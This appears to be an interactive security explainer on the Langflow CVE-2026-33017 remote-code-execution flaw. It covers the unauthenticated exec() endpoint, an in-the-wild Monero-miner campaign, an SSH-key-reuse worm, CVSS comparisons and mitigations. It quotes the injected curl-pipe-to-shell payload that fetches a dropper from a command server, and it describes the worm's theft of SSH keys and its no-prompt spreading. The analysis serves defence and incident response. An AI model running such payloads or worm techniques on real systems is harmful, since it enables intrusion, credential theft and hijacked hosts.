A critical unauthenticated flaw (CVE-2026-33017) let anyone run code on internet-exposed Langflow servers with a single request — and attackers used it to plant a Monero miner and an SSH-key-reuse worm within ~20 hours of disclosure.
A “build a flow” feature in Langflow runs attacker Python with no authentication. A single request became remote code execution, a cryptominer, and a self-spreading worm — exploited within ~20 hours of disclosure. Tap any node to open its deep-dive.
A Langflow “public flow” is a place to put Python node definitions. The public build endpoint passes them straight to exec(), unauthenticated — so one POST is host code execution.
Commodity Monero mining pivoted onto AI infrastructure, but the real blast radius is an SSH-key-reuse worm that turns one exposed instance into a foothold across every host it can reach.
CVE-2026-33017 · CVSS 9.3 (v4) / 9.8 (v3.1) · ~20 hours from disclosure to in-the-wild exploitation · campaign by Trend Micro, exploitation analysis by Sysdig. Eight tabs, one self-contained page.
Langflow’s public flow build endpoint evaluates attacker-supplied Python with no authentication and no sandbox. Two defaults turn that into remote code execution for anyone with the URL.
Langflow lets you build flows over a REST API. The flaw: POST /api/v1/build_public_tmp/{flow_id}/flow accepts attacker-supplied Python in node definitions and passes it to exec() — and two defaults put it within reach of anyone. Switch the configuration and watch whether attacker code runs.
Two defaults make it trivial. The build endpoint is public by design, and when an optional data parameter is supplied, the Python inside is executed server-side with no sandboxing. Compounding it, Langflow shipped with AUTO_LOGIN=true, so any unauthenticated visitor is handed a superuser token and can create a public flow on demand. The result is a full server-side code-execution primitive available to anyone with the URL — a single HTTP POST, no session, no CSRF, no PoC required.
This is the same bug class Langflow shipped before (CVE-2025-3248). It maps to OWASP LLM05 (supply chain) and the classic code-injection weakness CWE-94 — an AI tool treating a configuration payload as code.
Trend Micro documented the full sequence: reconnaissance, the RCE, a dropper, a self-spreading worm, the miner, and command-and-control. How much of it fires depends on how the instance is deployed.
Trend Micro tracked the full campaign. Each stage feeds the next. The damage depends on how the instance is deployed — switch the posture and watch which stages the attacker reaches (amber) versus where it is stopped (teal).
One line drops the rest. The injected payload is __import__('os').system('curl <C2>/isp.sh | sh'). The isp.sh dropper checks for an existing infection, creates a hidden directory at /var/tmp/.xlamb/, downloads the lambsys binary, launches it detached, and immediately starts the SSH-key worm. The miner, defense disablement, and persistence all live inside lambsys itself.
Reconnaissance came first — rapid fingerprinting of /health, /api/v1/version and /manifest.json with rotating spoofed user-agents to dodge signatures — before the exploit POST arrived from a stable python-requests client.
The most dangerous part is not the mining. The dropper reuses the host’s own SSH keys to spread to every reachable machine — even ones with no outbound internet — so a single exposed instance can compromise an estate.
The dropper reads ~/.ssh/known_hosts, id_rsa, id_ed25519 and any loaded agent sockets, then copies itself to every host those keys can reach. How far it travels depends entirely on what the compromised account can authenticate to. Switch the posture and watch the spread.
Pull and push, no prompts. The worm spreads two ways: pull (SSH in, then curl the binary from the C2) and push (scp the local copy in, then run it). The push path works even when the target has no outbound internet. Every SSH call uses BatchMode=yes, ConnectTimeout=5 and StrictHostKeyChecking=no, so it never stalls on a password or host-key prompt.
The incident-response lesson: finding lambsys on one box is not a single-host mining incident — it is an SSH-key-exposure incident. Scope it as compromise of every host those keys could reach, and rotate all of them.
The lambsys binary kills rival miners, disables host defenses, erases logs, and installs persistence before pinning the CPU to mine Monero. Resource theft is the symptom; loss of host control is the cost.
The miner is a UPX-packed Go binary engineered for evasion (VirusTotal detection fell from 31/66 to 4/66). Before it mines a single coin it takes full control of the host. Flip between a clean host and an infected one to see the state change.
Exclusive control, then quiet. Monero mining is a zero-sum CPU game, so lambsys first kills rival miners — by name (Kinsing, WatchDog, Outlaw variants), by mining-pool port, and by reading rivals’ PID files. It then disables host defenses (AppArmor, SELinux, UFW, iptables, the kernel NMI watchdog, and Alibaba Cloud’s agent — a tell that cloud AI infrastructure is the target), deletes /var/log/syslog, and installs dual persistence via a cron job and a one-minute watchdog loop.
Finally it fetches ks.tar, MD5-verifies it, and runs a customized XMRig build (renamed procq, hidden in a dotted directory) that mines to the operator’s wallet and beacons to the C2 over plain HTTP. The C2 address sits on the Spamhaus DROP list — egress filtering alone neutralizes it.
A companion 9.9 IDOR scored higher than the 9.3 RCE, yet the RCE was mass-exploited and the IDOR was barely touched. The gap between a severity score and real-world exploitation is the lesson.
Sysdig watched one operator hit the same instance with two Langflow flaws: a 9.9 cross-tenant IDOR and the 9.3 RCE. They poured effort into the lower-scored one and treated the higher-scored one as a two-request afterthought. Switch the lens to see why.
Why the numbers invert. CVSS rewards the cross-tenant scope break heavily, which lifts the IDOR (CVE-2026-55255) to 9.9. But on a single self-hosted instance the RCE (CVE-2026-33017, 9.3) is a strict superset: once you have arbitrary code execution you already own the process, the database, the environment, and the filesystem — including the keys the IDOR was trying to coax out. So the “lower” bug was mass-exploited within 20 hours while the “higher” one saw no in-the-wild use.
The governance takeaway: CVSS ranks theoretical severity, not exploitability in your environment. Patch and detect by reachable impact and exploitation evidence (CISA KEV, honeypot data), not by score alone. The IDOR is fixed in 1.9.1; the RCE in 1.9.0.
Exploitation beat the patch cycle, so defense has to be layered: fix the bug, run least-privilege to bound the worm, filter egress, and rely on runtime detection when the patch window is measured in hours.
Exploitation arrived ~20 hours after disclosure — faster than most patch cycles. So defense is three layers: fix the bug, shrink what a compromise can reach, and detect the behavior even without a signature. Step them up.
Do this. Upgrade Langflow to 1.9.0+ (1.9.1 also fixes the IDOR); set AUTO_LOGIN=false; take instances off the public internet (VPN, WAF, zero-trust gateway); run the service as an unprivileged, isolated account — never root, never on a CI runner with broad known_hosts. If lambsys is found, treat it as an SSH-key-exposure incident: rotate every reachable SSH key plus the API keys and cloud credentials stored in the workspace.
For a vendor or internal review: are any Langflow (or LangGraph/LangChain) instances internet-exposed? Is AUTO_LOGIN off? Does the service run least-privilege? Is egress filtered (the C2 is on Spamhaus DROP)? Is there runtime detection — shell spawned from a web process, sensitive-file reads, outbound C2 — that fires without a CVE-specific rule? When the patch window is hours, that runtime layer is the real backstop.
The speed from disclosure to exploitation, and the fact that this is the latest in a run of Langflow and broader AI-framework flaws, is the part worth remembering.
A pattern, not a one-off. This is the third Langflow flaw to draw active exploitation in 2026, after CVE-2025-34291 (weaponized by the MuddyWater group, added to CISA KEV) and a path-traversal bug. It is also the second time Langflow shipped this exact unauthenticated code-execution class, following CVE-2025-3248 — which the Flodrix botnet exploited a year earlier with an identical primitive.
The same blind spot runs wider: Check Point chained a SQL injection in LangGraph’s SQLite checkpointer to RCE, and a path traversal in LangChain-core reads secrets off disk. Imported AI frameworks became production infrastructure faster than anyone treated them as a boundary worth guarding.